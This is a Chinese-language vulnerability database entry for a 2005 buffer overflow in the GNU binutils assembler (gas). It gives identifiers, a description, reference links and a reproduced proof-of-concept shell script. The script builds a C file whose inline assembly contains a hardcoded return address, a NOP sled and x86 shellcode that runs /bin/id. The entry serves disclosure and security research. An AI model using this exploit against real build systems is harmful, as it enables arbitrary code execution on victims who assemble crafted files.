GNU BinUtils GAS缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110840 漏洞类型 缓冲区溢出
发布时间 2006-08-17 更新时间 2006-09-05
CVE编号 CVE-2005-4807 CNNVD-ID CNNVD-200512-969
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/28397
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200512-969
|漏洞详情
GNUBinutils(又名GNUBinaryUtilities或binutils)是GNU计划开发的一组编程语言工具程序,它主要用于处理多种格式的目标文件,并提供有连接器、汇编器和其他用于目标文件和档案的工具。GNUBinUtils的gas(GNU汇编器)中存在缓冲区溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限s。如果用户或自动系统受骗使用gcc或gas汇编了特制的源文件的话,就可能导致以执行用户权限执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/19555/info

GNU binutils GAS (GNU assembler) is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

Remote attackers may crash the application or execute arbitrary machine code in the context of the application.

#!/bin/sh
#
# gas overflow poc, <taviso@gentoo.org>

returnaddr='\xc4\xea\xff\xbf'
shellcode='\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/id'

printf '#include <stdio.h>\n'
printf '#define EGG "%s"\n' "$shellcode"
printf '#define RET "%s"\n' "$returnaddr"
printf '#define NOP "%s"\n' "`perl -e 'print "\\\x90"x100'`"
printf '#define PAD "%s"\n' "`perl -e 'print "A"x1990'`"

cat << __EOF__
#include <stdio.h>

int main (int argc, char **argv)
{
	        __asm__ (PAD RET NOP EGG);
}
__EOF__
|参考资料

来源:UBUNTU
名称:USN-336-1
链接:http://www.ubuntu.com/usn/usn-336-1
来源:BID
名称:19555
链接:http://www.securityfocus.com/bid/19555
来源:SECUNIA
名称:21530
链接:http://secunia.com/advisories/21530
来源:SECUNIA
名称:21508
链接:http://secunia.com/advisories/21508
来源:MISC
名称:http://bugs.gentoo.org/show_bug.cgi?id=99464
链接:http://bugs.gentoo.org/show_bug.cgi?id=99464
来源:OSVDB
名称:27960
链接:http://www.osvdb.org/27960
来源:VUPEN
名称:ADV-2006-3307
链接:http://www.frsirt.com/english/advisories/2006/3307
来源:NSFOCUS
名称:9178
链接:http://www.nsfocus.net/vulndb/9178